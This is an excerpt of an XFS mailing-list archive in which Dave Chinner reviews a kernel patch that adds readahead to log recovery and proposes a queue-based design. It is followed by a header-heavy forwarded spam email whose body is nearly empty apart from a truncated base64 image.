XFS_LI_BUF: > return xlog_recover_buffer_pass2(log, buffer_list, item); > @@ -3181,7 +3300,7 @@ xlog_recover_commit_trans( > int pass) > { > int error = 0, error2; > - xlog_recover_item_t *item; > + xlog_recover_item_t *item, *next_item, *temp_item; > LIST_HEAD (buffer_list); > > hlist_del(&trans->r_list); > @@ -3190,14 +3309,18 @@ xlog_recover_commit_trans( > if (error) > return error; > > - list_for_each_entry(item, &trans->r_itemq, ri_list) { > + list_for_each_entry_safe(item, temp_item, &trans->r_itemq, ri_list) { > switch (pass) { > case XLOG_RECOVER_PASS1: > error = xlog_recover_commit_pass1(log, trans, item); > break; > case XLOG_RECOVER_PASS2: > + if (&temp_item->ri_list != &trans->r_itemq) > + next_item = temp_item; > + else > + next_item = NULL; > error = xlog_recover_commit_pass2(log, trans, > - &buffer_list, item); > + &buffer_list, item, next_item); Ok, so you've based the readahead on the transaction item list having a next pointer. What I think you should do is turn this into a readahead queue by moving objects to a new list. i.e. list_for_each_entry_safe(item, next, &trans->r_itemq, ri_list) { case XLOG_RECOVER_PASS2: if (ra_qdepth++ >= MAX_QDEPTH) { recover_items(log, trans, &buffer_list, &ra_item_list); ra_qdepth = 0; } else { xlog_recover_item_readahead(log, item); list_move_tail(&item->ri_list, &ra_item_list); } break; ... } } if (!list_empty(&ra_item_list)) recover_items(log, trans, &buffer_list, &ra_item_list); I'd suggest that a queue depth somewhere between 10 and 100 will be necessary to keep enough IO in flight to keep the pipeline full and prevent recovery from having to wait on IO... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sarl.dalibard@orange.fr Thu Jul 25 21:51:38 2013 Return-Path: X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1C7D57F37 for ; Thu, 25 Jul 2013 21:51:38 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5E95F304097 for ; Thu, 25 Jul 2013 19:51:36 -0700 (PDT) X-ASG-Debug-ID: 1374807073-04bdf02f239d410001-NocioJ Received: from smtp.smtpout.orange.fr (smtp05.smtpout.orange.fr [80.12.242.127]) by cuda.sgi.com with ESMTP id z3iHNr6bpKouIM1A for ; Thu, 25 Jul 2013 19:51:13 -0700 (PDT) X-Barracuda-Envelope-From: sarl.dalibard@orange.fr X-Barracuda-Apparent-Source-IP: 80.12.242.127 Received: from wwinf1z09 ([10.223.68.52]) by mwinf5d09 with ME id 4qrB1m00217frKe03qrBAN; Fri, 26 Jul 2013 04:51:12 +0200 Date: Fri, 26 Jul 2013 04:51:11 +0200 (CEST) From: sarl dalibard Reply-To: sarl dalibard Message-ID: <1690384351.18750.1374807071734.JavaMail.www@wwinf1z09> Subject: TR: TR: TR: TR: BONJOUR ! MIME-Version: 1.0 X-ASG-Orig-Subj: TR: TR: TR: TR: BONJOUR ! Content-Type: multipart/mixed; boundary="----=_Part_18715_1809424747.1374807070496" X-Country-Code: X-me-spamlevel: not-spam X-Cache-ID: Message-Context: email-message X-WUM-SignatureAdded: X-me-spamrating: 43.00 X-Cache-Entry: X-Wum-Nature: EMAIL-NATURE X-Originating-IP: 105.133.23.205 X-Message-Size: X-SAVECOPY: true X-National-Code: X-Wum-ChannelType: X-WUM-FROM: |~| X-WUM-CCI: |~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~| X-WUM-REPLYTO: |~| X-Barracuda-Connect: smtp05.smtpout.orange.fr[80.12.242.127] X-Barracuda-Start-Time: 1374807073 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 To: undisclosed-recipients:; ------=_Part_18715_1809424747.1374807070496 Content-Type: multipart/related; boundary="----=_Part_18716_485797662.1374807070496" ------=_Part_18716_485797662.1374807070496 Content-Type: multipart/alternative; boundary="----=_Part_18717_68479340.1374807070496" ------=_Part_18717_68479340.1374807070496 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit .../.. ------=_Part_18717_68479340.1374807070496 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: 7bit

    .../.. ------=_Part_18717_68479340.1374807070496-- ------=_Part_18716_485797662.1374807070496 Content-Type: image/png; name="image001.png" Content-Transfer-Encoding: base64 Content-ID: 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 jS4MM8ww/M1jiEgUyPSFjkjInoKWGAiynzxQ3CIFdQi1zDKvQSrXxa/ApWIZ083bXr62tuVMq6Nx rsMCGwEjYASMwGBCoJGx2J122mnYYYf9TXQdf/zx3377bYb9oKfvvvtu+eWXhzBRdvjhhx9hhBGG G264o4466vPPP//nP/8ZFLnjjjvy67XXXvvjjz9mtMssvtJKK1HDMcccE99y2mmnwWmo6uuvv47b rd8ideZvp/VTTz2Vn44++mgJE3cW4enIqKOO+vLLL//0009lhvjaa6+NMcYYs8022+uvvy6emr/o yworrAAg11xzTaZMnS60gdhLL72EVCiOXmy//fbILwz5/NlnnwlDvpGy4mv00Ud/4oknEJJGewda YlS/8sor448/PuaRB7NDqL///vtJJ5102WWX/eKLLzLWG/QOXBgngAAdOn3//feBrvDhM1Fbe3Km 1TGY/KD7YgSMgBEwAk1EoJEsFloJ1quvvjoM7JZbbrniiiv2339/Jvg333wzUAGm+e22227EEUec aaaZLr300uuuu+7mm2++6aabTjrppP3222/ccce9/PLLf/jhB+ph7oftwerWWGMNvswQWWjWDjvs QLEHHnjgm2++Cexhyimn5MuHH374ww8/VKP1W6SwuvDuu++G24P1INtII4100UUXffTRR4QqN998 85FHHpnOXnnllXSBLi+55JLqVBmRnWiiieaee+7nnntu7733/uqrr/LknrbOOOMMMCFoBzML7Lxm F6C5rSIGVV1ttdVOPvnkC3+5eLQA9gUXXJCuPfLII+AggrjIIouMMsoodPa8884DgYsvvpi/hx56 KBICRU9BS4zeY489dppppoFu5pFsG2o198wzz6y33nq33nrrEUccIWsMlzoLaOeffz4EmguNTzbZ ZBNOOOGss8763nvvKRYeX4na2pMzrY4m+jvLbASMgBEwAoMKgbBk2aAPL774Iuxn2223JbxHKBSi 9thjj4011li///3vRTQhPfCkaaed9pxzzrn99tsJX/E93Ivryy+/ZLKHIhDcuvvuu+GslH/++eep EL3yJWxVX4ZLv6655pqilfoeGeBbEF/IIs212uILL7xAndtss41uj5tDVOjdXHPN9dRTT8FT1RDE 